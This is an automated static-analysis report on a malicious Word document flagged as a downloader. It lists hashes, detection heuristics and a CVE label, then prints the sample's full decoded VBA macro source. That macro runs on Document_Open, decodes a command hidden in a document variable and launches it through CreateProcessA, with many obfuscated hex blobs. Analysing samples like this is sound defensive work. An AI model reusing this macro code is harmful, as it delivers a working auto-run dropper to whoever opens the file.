Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 849f25285b7d5574…

MALICIOUS

Office (OLE)

143.0 KB Created: 2018-03-02 08:47:00 Authoring application: Microsoft Office Word First seen: 2018-03-24
MD5: a9c99995355a4ca4b97c0053b52928dc SHA-1: d1998d637d5e192568b32fcacadebeef74f9c4e7 SHA-256: 849f25285b7d5574f925f43bd77a68a33d423d415b7bc7a219727d327b6b652c
200 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.005 Visual Basic

The sample is a Microsoft Word document containing VBA macros that leverage the CVE-2007-3899 vulnerability. This vulnerability allows for memory corruption and the execution of arbitrary code, as indicated by the 'CreateProcess' API reference. The presence of VBA macros and the specific CVE exploit strongly suggest an attempt to download and execute a secondary payload, characteristic of many malware droppers.

Heuristics 8

  • CVE-2007-3899 — Microsoft Word malformed string memory corruption critical CVE likely CVE_2007_3899
    Word OLE document has the MS07-060 malformed-string exploit shape: a Word 97-family FIB points to a malformed DOP/string-table region with an abnormal INT_MAX run, inflated text counters, and exploit payload or Mdropper.Z campaign evidence.
  • ClamAV: Doc.Downloader.Valyria-6666912-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Valyria-6666912-0
  • Reference to CreateProcess API high SC_STR_CREATEPROCESS
    Reference to CreateProcess API
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    #End If
Public Sub Document_Open()
Dim MU_QF As String
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()
Dim CXN_UMD As String
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 21033 bytes
SHA-256: 581bf4f9dcab15d60c4fca2eef613def1f5b65f154bd708b201bd8a2d861ea04
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 57 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit
#If VBA7 Then
    Private Type Q_U
        UU_H As LongPtr
        CV_G As LongPtr
        AM_JH As Long
        CL_GN As Long
    End Type
        Private Type DG_AI
        LUW_QX As Long
        IEV_JHP As String
        NK_KDL As String
        DU_HB As String
        UY_Z As Long
        CPQ_B As Long
        D_BRH As Long
        QEV_EVU As Long
        A_T As Long
        G_Q As Long
        ZVI_R As Long
        OK_FHG As Long
        QIC_NZ As Integer
        W_QMS As Integer
        IEV_JHP2  As LongPtr
        D_DS As LongPtr
        MY_DQT As LongPtr
        W_MN As LongPtr
    End Type
    Private Declare PtrSafe Function CreateProcessA Lib "Kernel32" (ByVal JR_U As Long, ByVal PFT_S As String, U_B As Any, FGV_F As Any, ByVal CY_NTY As Long, ByVal TK_YC As Long, ByVal LO_P As Any, ByVal G_N As Long, I_VG As DG_AI, L_FUA As Q_U) As LongPtr
    Private Type H_B
        WDM_XA As Long
        QP_KDD As LongPtr
        U_WYE As Long
    End Type
#Else
    Private Type DG_AI
        LUW_QX As Long
        IEV_JHP As String
        NK_KDL As String
        DU_HB As String
        UY_Z As Long
        CPQ_B As Long
        D_BRH As Long
        QEV_EVU As Long
        A_T As Long
        G_Q As Long
        ZVI_R As Long
        OK_FHG As Long
        QIC_NZ As Integer
        W_QMS As Integer
        IEV_JHP2 As Long
        D_DS As Long
        MY_DQT As Long
        W_MN As Long
    End Type
    Private Type Q_U
        UU_H As Long
        CV_G As Long
        AM_JH As Long
        CL_GN As Long
    End Type
    Private Declare Function CreateProcessA Lib "Kernel32" (ByVal JR_U As Long, ByVal PFT_S As String, U_B As H_B, FGV_F As H_B, ByVal CY_NTY As Long, ByVal TK_YC As Long, ByVal LO_P As Long, ByVal G_N As Long, I_VG As DG_AI, L_FUA As Q_U) As Long
    Private Type H_B
        WDM_XA As Long
        QP_KDD As Long
        U_WYE As Long
    End Type

#End If
Public Sub Document_Open()
Dim MU_QF As String
MU_QF = "54643D68546F2054547C545A542F8B546D9237186762541F5F5464545447545454544C545454544354545754545454915454498854321E3F1F6F18545454915467535454544D548E8794755454495464301F547554545454545461545423527D522A2E547174549423545E798A3A50538B545472905454594A6E16543A5454544154544A3954497C6B5433503F7E545"
Dim OVF_JAD As String
OVF_JAD = "42250543A54545654541773686E553154545E43541D664554543954541D1F5468212C54545454546287757754542854701654643594251A54855454545428205B57547120451E542B545454543C5454795454545427542430548C5454545454545454332B545471543F541A5429547D54584C5F441A625485545A44295954282B82542354544A175454545424405469"
Dim TFN_ZVU As String
TFN_ZVU = "545454546C5454546D545D54529354473A547654165D8E6B7D7B54545434545454545B5439544A544B8154542054785C5461544E26665456545454753354546F6554258C89693A262272546F542A6E546D5F5454705454545454815554215418228769544B2D548A803C18544354265456541D5454225494545D54545454155454618A545454886E544854155454545"
Dim F_O As String
F_O = "454181C42548854546A545454188786545454814554759154545454455454548F546117544E545432545454543E775AA1544F54548A54385455547054541A545461541D4891235854544F546E544B7080685B545454546F5488547D856E545A5C2A5454731F4079155482506F54546D546354573A188A5355541D53545449903854523654545451548354545440542F"
Dim R_E As String
R_E = "24541F465486585481915416545454542D54935454566F6554543B546654546539543E5E546754545847584F545430525487544E547C54545454322F30544354541854548C59542779232C2B15541F5C6B57542C5478948E7D54547B3D802954543A2D54685464548817455454545428545656543E705424545454545451541754335454185C54763F7563545454785"
Dim B_Z As String
B_Z = "4545454542863542254545452544E36555452544D54544A44545454542E5443547B547154545454697854545E74528D5467545445545454748B855454435454547C54656A546954595454758954588F544C544A26545429548B9377673B545454545454385454547B545433845442303A54547E545455545468546A5454185454746B547A548A2B54542754665B4145"
Dim E_BPV As String
E_BPV = "5454448C1E5D542E359254472A4D547B54545464336829542B54545416543E542C5469548E5A915154543C58156A546D54547B54545430547E465B793E90541E5436542616455D5F788A7F545454541D546E5454547C364E1D24284A549481524E8D48546C8C8530414F4943545485547054371D5B5454545454354929545454548C3C5454835C5486545441541F4A5"
Dim I_KTE As String
I_KTE = "A545490545F4A54548E2E54736B501C54584B936F5454545457545454545454545454892516548F544F295454544B544554545454542054684654445490545454575418547D5445576E54755454544956544E5454635454451E3D8B5462255421545447541A4E54616E6C5268545B5454545654542254543C54745454542054545454541654545454254B5465545478"
Dim S_WS As String
S_WS = "548F1954543854546C75745464545462547E75545C545454575454545454545454545454875439546B62546E543A54458A54544A92545454205454605454545454544E545459547954655463318854766D54695F683D5490545C8754545454545B545450545454575445818E845354706F54625479544654541F547489307954882C3A5445787225545423455449545"
Dim W_NV As String
W_NV = "45554155454545492543933548D5554662A54544A5433548E5468541654543E54338C2F542F547D5454215A8F545D542F527E6A1E876154565470547754545436594B639454385454548A5454544854543F4D2F542C225470545454543C5454548B469154541E4C754254545461547F892E544854542B5454542854497F547E2F6F541A295444548D54485454548D54"
Dim O_B As String
O_B = "56548854542D542F542C54545440545488542F54577A75545466435454544454545494545438545254544D73613B61542954545467545C544C23565470544D1F7C5429827F543C785454545445549454512C7A54394E54926543546454283054545457935454273B691C54541654853654548454547E54548E545754545054514771778C54545454654F624854548B3"
Dim H_RX As String
H_RX = "7543A54548B545A5482274D3C54548C295442468654545E5454834054175450545454545454465454549154548F545440485E542845545C54285483542570547654383554432C544E54377F5454545454545480546E3F546F5454543D5472546C7C54543062544723558F542D5454334E5454545E543C92195454544F745751544F544F54545454857254547E8F8C54"
Dim DA_VXE As String
DA_VXE = "54548A54548C54557C5454541C5454545238545B544E7439695454708254541F3F5454541854545493545454548E5454545B544542633E665654545854547354542A5A544654342F5E545493417016745454546882545478548F795D39543D54547F8C5448541F3C5454543A545454355420345464543F5447545454831A5454544D40543C544054274354176A935454371C548B60548D6654545465546D3D54547816542854545454498A36283D76545D25817B31548B5454543D692D5472541A546854912254742421542B8E6C5254873A1D925454873E5421544E545454195431"

    W_D
End Sub
Public Sub W_D()
Dim EP_D As H_B
    Dim JH_YL As H_B
    Dim QIW_QR As DG_AI
    QIW_QR.OK_FHG = &H1&
    Dim B_Y As Long
    B_Y = &H20&
    Dim HDM_BM As Q_U
    Dim IP_UN As String
IP_UN = "54945454545454363E54541C2A545454545454238C54548354543254153154543D544731365454543C54545D5420515454884B31541C3154825454877E3E545424545454235454545454546754541E6A545454542B4D545454546F70545430545454796E61542854755452547454541749792783543B771E5E3E544C5454543E2B545977545454"
Dim IZQ_DS As String
IZQ_DS = "54543654547354835454461D5E8754166418548E677C27547C5E63545454545E546156896854285487445454545458285454644F8654695454294D5454547C54715454547B545454571D5454867A542D6A54544C5454926E5418545154548E5494544C548F54915427541C8454756E545C5454545472542354547D546846215454546A50542754"
Dim A_C As String
A_C = "545454545B295447785427545C5454545481714028525454545454921954815454544C54543F548B544B585433675460478F5D835454783154F7553942544F75548584542154545D5454265454365460546A545454445454547C3A4B541E9287547727548F83935454547D1F4A30545454855079545554542777945454549154545B2454543054"
Dim B_RX As String
B_RX = "4A41917A805454605493547B224C6E8554555471315E35545454806B54871F1D54541A4C8A544421622B54465481847C54545282475454542154825479838B4789545489463654542654231B835468549118545449545454542F3F5483545454545454544B79545D70545454913244541876548B54541A2C542C541D547754437B544654545454"
Dim RJR_PWM As String
RJR_PWM = "80395456492B41542154545B563F5454548B7B34825454545454625454544766265454157C8E545A54545454502E60542F545466405C915454543532543E54235465548B545454545457295426545454727C544954546269825454543D675454547894545425301D9054791A7D54545D54535F5454545418541D8B27547A895439545433541F61"
Dim ETN_BS As String
ETN_BS = "605450545D5485545F5D541D5438195454544B1C5454547454655859353F5448548A543554465454545454859081541554386754545954545454545440543583541F6B485454515484544365547C58545454407454541E3D54541C8238541654775454544C5487625454545424547A54545D586B66543F543E548F931658633335548A54543354"
Dim JTA_BKJ As String
JTA_BKJ = "275423655454455454745483251F5429225454545454476E54545454543E5459828E5450747F5E5443543C5454255454547554582428333C54895454544A473F545454546854541F543D5454334337545415737A5429825454404B54547254814C1C541D2128667F6C287354965454817D3E5941235455545454833E2E7F5486542C712F545454"
Dim PT_V As String
PT_V = "54235454541B6854821D5454713D205422544F54544254543C665490828454549066327C24545454421636548A5A5E543363675091385454549154543154545457545454544054547254217A93541D2C723432894A6D6E515463345454251654544878875454643C52545454545C5754548B545490752254925454204354615454546093546B54"
Dim WPD_MJX As String
WPD_MJX = "54544B8354727D8720543754663521733A545424545430241D8D17655454302B345426543E5454355D7A5454205254548B5C3A54545B3045543B7A2F6F2D54297E217577245449545454546454541954913D546F548B89545454174E545444545432545454542754545494544A5A37545446548B585454435446621B225454808C1A545473545C"
Dim D_CL As String
D_CL = "4654546E1D547A5454545432613F7B691F54295467545454255454315454546A442653544354548A6654548E5454346154545454547C54545486545454545454544F548A3B542E545454545B56875454922554265454465A1F54545454545554215454753E8969544B5450185445544B2A5B542E3A1D547F7E548D541654495454366954547E5F"
Dim SI_FR As String
SI_FR = "54545780541E80545B541F5454541F74448B5465632654548454545C2E59544A26795454542254542B2F54564E547C5454414F542F54546E545B5454695454543869546A5441873694304F4854545454547154541F5430808554625427367B54545433543326547A542D6954815454548A5D5454543D4E74542E5454247254545454547C905465"
Dim JGZ_J As String
JGZ_J = "4754305454548B545484541B18545454405454541E5460543D54502C23548554765432754B537E5488545916545454546554545954545954544F5422543D544F8954735494311F54881B54544354337B905454325454613054734326548A5A5454457F5D715E544E67505454543B546B7F546E54575859355454545454547A5432337325545454"
Dim VPI_BFP As String
VPI_BFP = "54545472545454837C4D543D1A2D3D545454521E545F2954151D88546F54541E545454877854542F54875478542D1B4B6554546F8E5488546072548454285481547D665454715454374C4E1F547E8A5482541F15545B5426542D534F5454739154653654899454154D4C56547E54545454174B1EDF543754545458798C8C7254542E683D54562B"
Dim O_P As String
O_P = "15548C193A54544B6B8854546A54828E545B545454545454544254541E545454547332705454222319545454615468541A547B7954356B5454825454547754542F54543054545454543F5F1B543E5654186C54735454541A1F3A54614345213754545485545454545441545421545459542D546B5454885454255418555454323C3C355454542E875454541B5458566F542A5454605B4126542454655454"

   Dim ZIS_O As String
   Dim XE_STG As String
   Dim SZ_FOY As Long
    Dim GE_MVY As String
    GE_MVY = ActiveDocument.Variables("R2CSM4").Value
    GoTo x2
x1:
    Dim X6
    X6 = CreateProcessA(0&, ZIS_O, EP_D, JH_YL, False, B_Y, 0&, 0&, QIW_QR, HDM_BM)
    GoTo x3
x3:
    Exit Sub
x2:
Dim GG_Q As String
GG_Q = "6754544E6A5434946D549354548E54202F5467545436585454478C89545487546F745F544C54815454545454545484545D3654546E5454905480541F54545477544D2F4C3A541D54346D545417344C1D54195454915415AD7E543E6A54546D54546A548E7A2E267C1554358E5449547B547552544C6354546F543586822C54548389542054478B7F541554915454543A5D"
Dim ZLL_FZT As String
ZLL_FZT = "503C54872D541B5454204E5454545490543554546F39435490544C8B33547554543E4654544C6A5423543B518E5481541634544A4D542B5454546E685454546454547654545454606C1C541754548D3254545454502F542B565454324554915429202754542275545454546E548F542B5459375448545C547E6C545337308F545493547B54398F6854701B546254221B85"
Dim VJ_B As String
VJ_B = "546F67645454332B45533754597A548A54543834545B7F5454541F6246315454465F445B545D5454514654292B54155454586A628C54205454457E3B5454547649875A7F547D54407F2A8A5454625446915454738092545E54382C32546055504E548154547A8954615D5484541754548917549154544854545465947134544F54365434542C8E54334A5D542536497554"
Dim L_GE As String
L_GE = "54525F5454546F54545446543E364A155417546971542C5454543654543133545C5454547840541E7754539043213B54245546DB8F5447545449858929539428845459299154545F5454546854895491545F546F54545454935469546287547D5440547554546F545094546E54515454545454882854542B545454547A2F54545D3D315454548454621B7878564A545454"
Dim K_FNX As String
K_FNX = "933F54602C545454548E7B54548A5454668C54545482185F545438545454542C5454545054464B5854542B1D4F9054385454365454253C7A54666354471E548354658A545B6354555454568E5F281554545468205454541D545492545D9474165453538D544154785038321B4F54475254542F5454547A7B1D545454C3542641545489543B888754545454545F8F7B5454"
Dim WQ_UT As String
WQ_UT = "545D60545427813954825476835E3E548654825454835B54545454448E9052265425545437547790175419546590545465545454545217655454545470546D64864E745463541F7F545456195458544A54545A5A56545E8638545422572754161F6B395454295476548254612A5454922C5456281E447A542D54435454437B544D54254A29546B548B7A1C587054665F54"
Dim A_LUQ As String
A_LUQ = "545454545454545454545454548F6F548254543A5454545417546C541B7254725454547B31543A54548A72544B81542954415454375454544192547C5454491D5454455452555439543D8F308C5454858F543C4525544FDD544F545454545456691F4E515454545454548B545954548554335418541B5481756A1B54835754545438545449541854547D54566254545454"
Dim QYG_DAV As String
QYG_DAV = "5A548E545270188C545454544E547D541B355434517C2F3D8D541E543454546E543E872C54542F79545454438154545454541D7D7354545454545454545254243365547F6D7A1A5489544B547754548F2C435444361E541554545437542C545427346354544C40665445548A337D73654AB65454542A54546F54543A7254576332545417667B542A547954544E54926926"
Dim JT_PP As String
JT_PP = "2E54454D54545454541F54542F543A244854545E3D5415548654B125541D547D26262A40545247545493235E43843E54548788546F484D605454205454785425548C28541D548190542C54543C546A7F875454745454545454408A3B54545454545471445433541C6A5431545475305454785454542F544A323D54445A54545454545454544F54546C5718543B3F546E85"
Dim B_W As String
B_W = "6C5B54546192543B27828854CD54543930543B5460542F476E548854545454545A545454612754543D83363E5454634F162454475421545454544C543084545454875459543B54382E541D5461844D545454364E541D546D82543321545477542D65898C555220545454446E548F39545437544E1A54548B6574542B2E815430493354935454546E65675E313E28545454"
Dim PLN_W As String
PLN_W = "925454545460545454545454682A2939545454541F54875489546251753E4354547B536A5422545454739354541C295469545654547F545457469154615454C354545454546754287F5493544D622051545454744F547C1B54545454476D543493596754932D6B54547C5978565454541854168454547D54605454542A604A54435454544A565492541B54375474543954"
Dim PY_UJJ As String
PY_UJJ = "44715254547C544847305454548E835F4A5454305454785454225479545454805330549254545416239354545454895482546F1D228254542A5479549256546D725454541E227F545454542B5E255450544978455454177D5415614754157F5F5444545D545461545A5428546A545A6956635422413D54545464482133544454818A8C2E46585465545454545435272C5454544A8A72338B543E547A8355545454448A545C403754544F3A7C525454815230663A545483236B16541C543554594F7E54544754545481504D54"

   For SZ_FOY = 1 To Len(GE_MVY) Step 2
        XE_STG = Chr("&H" & Mid(GE_MVY, SZ_FOY, 2))
        ZIS_O = ZIS_O & Chr(Asc(XE_STG) - 21)
   Next
   GoTo x1
End Sub

Sub Workbook_Open()
Dim CXN_UMD As String
CXN_UMD = "834C4F53216B245474907D5454545454545457543E1A84615454805E5454544F7E54185454535480784F54546D54545454455454541C547E54545C5454703554434954541A1A5454547E548D545454548E765D54767619543B545454545482543F7C195454406A54175454545454548E576154545454545459543B1D6C6B54241F215"
Dim KC_LD As String
KC_LD = "4546A4B545473545C54525454335365545472542A54541A62545454545446285491545454318224545454562C4E2C903F8A3D8054543B5445544054545476545484C636545454831960544A81546B5486545429546B545554342154545450546A541E5475908F5B378B82845433542C6654545489805485544A7B7640214A54545354"
Dim W_IW As String
W_IW = "8E54695F5454487B3A544554545454876B54548F69545B2954547E4D8932542254546D5443544D837D5454545481548E5454606954546D541954545254547128548C6B544E5458545454265454488D675454548A5460545454545486905754547E2A5455545954542654546C666C54215D85564716545454755454542954876354547"
Dim U_ST As String
U_ST = "7545425543054795454545B6E54247A485466547D733E5448542554546B45545454546E714D543B5F5419541D2F552054547854543D75187C3154541F547C718B1C5454541D541D4074546F4E542E7F1A5A6254713C545455715430634A548E156D847C547D545454544354541A542E7E547D79545454545025255454545454545469"
Dim ENC_A As String
ENC_A = "54545454545C04544E2A543053545454544154547254545454831B17547C76865454542C80162D1A16548D90884354544B543D5454542454656A545454544B5475545438545D3F5454705454545455294B75924D54316E5454305485837361575427545454541A54515F54285429547557455417585B89433F4293696B548D5454875"
Dim UYO_T As String
UYO_T = "43754545450543532556D846454542231305954545B928E73899354545454786E7786547F6A5474383E495454548D5E547154548054298D7C54548F5483542054497F4F54548454325E545454544C71738954545454541B82546054325454232443544A855463708654543A5433945454545154905454911717545454543D62455426"
Dim ZW_CC As String
ZW_CC = "545487613231545454613B548B865484545483549154545438565454632F338C54543F44545454658C19544D541A81545454355454544154755054543554925442543A545C7954153233948C3754283354542B54543A547C54547B545444545418203454846A5435545B548C543D54545A54541D547D9054547B51365454543354545"
Dim SF_FTL As String
SF_FTL = "360805454545E648C542E37525446542E5460175A8C235454545454546D1849549354546C54545454873E67541A546F54545451541520545454545454341E6454244B53825854545B3062795454547E54725454573B5461544354545454683418515487307A775456545454547A543B2D5451549085546A542954835454595454547D"
Dim N_YR As String
N_YR = "623454545461544354547D545466545454545421313E54631F54546D5477544E54544E31545454386E3B611854525431547D541B5454603855545454544B8A58544435492D5454545454545454542B80546554548D54792A54307D257338541E6D903183183254547C2C546A5B7A1F54546F923954543A5417545458545E5459543B5"
Dim KJ_O As String
KJ_O = "4547C5454547E753324548B2654621954545492545454158B54545462268654541D3054548754866B1B5448455454565A54681976541D7B3A541A54545454725442544626542F5421835454545B67395454796E32546328545454545454495454855425493854545454543E54548354541F81545454546C33541D7E543F5454315454"
Dim HJC_RI As String
HJC_RI = "544B5469565494545454545754545432545467542F4854545D222154495454865440545454305449543F3B21575454547754325454543B54542D5B8C546854544F8C18544B542E548E33542154546C2E225287821E54251A715454706C5154835454546C54548954544B9247545473542B4B5E465454545478547D7A54845454547E5"
Dim XX_KN As String
XX_KN = "45954545441195454543C5454543B5F39544354545459548987545454799D54547A816519547D54544250548154398E425483156920546D5454541D546B70747454545454545454548C1D541D54547B4B4F2C544B6F5454611B54545454542154545B545454541C745492545454547B5434355C54547B54546454234F54543C375454"
Dim ID_ZAO As String
ID_ZAO = "54705454554E5454547E66541F546D7554545C5E2D546454567E545479546A545459201F548F542242545454545454547C545470205478547F5488542954545491635452544E303D54545554545E5454205416545454542B1D547990548E5454541E5426545454548A7C5E5454543654543A3854345464543B5454543A5D545435546"
Dim ZTQ_NBV As String
ZTQ_NBV = "C54757D1E7F455E544157285454541D68545452598054541F5454561646225454547A542F93548F54542A445432545454931728625454547D1C54544953541554937654545454545454543920593B6A5488545417305490549454548A43548F748354545C7D7051541E548F5423545454522E5477814154548754759454545454541F"
Dim E_KIL As String
E_KIL = "5D624527312054527C545454547654202D541D54546087546B544F545482723D54545477656536545454645454544B5C54C4547B7316545483735754485554326A7E5454927631555454548965542F2954865431545454545D59543054525484548C245483425E321A22546648803D54645454164454545451542D545443545454555"
Dim G_ABA As String
G_ABA = "419371880548E5A544E7E543154545E5454543054542A865439545E5468405454423C43541C4254188C5054542A914C546F54548A6B75545454542B54542D54545454545437542B5419237726545454546B4754547C8A5A81765439948C548C6D2C917D5431749154546A5454785415452454548A8B26542A54645454545470546943"
Dim PIV_X As String
PIV_X = "36875454385454345454545439637D1B547B1B6C541C54412D6954541B545454245454545454544F545454824B4454544963544D80615420545454174A316754548127547A7A5490543354546A5454535454466162541B546F545454542F54786E545494548754546D17765425545C5A54546E7D5435546C54542026548754543C7C7"
Dim E_NR As String
E_NR = "F5454296A546256545F4B8F54546A59545454544D54545E7B8D54541A5479547E5477545454306D408F36485454546754544654745721355459235A792B21325454673654878522747754735465695419541F4D54185F91545B2932495432547C54545446543C423991545454532D547560175427541D5452417154405494548F542A543A5454294B1B5454874335785471545454544B5454545449666C3A41546683542650543B545454785454545054545D545454545454"

    Document_Open
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.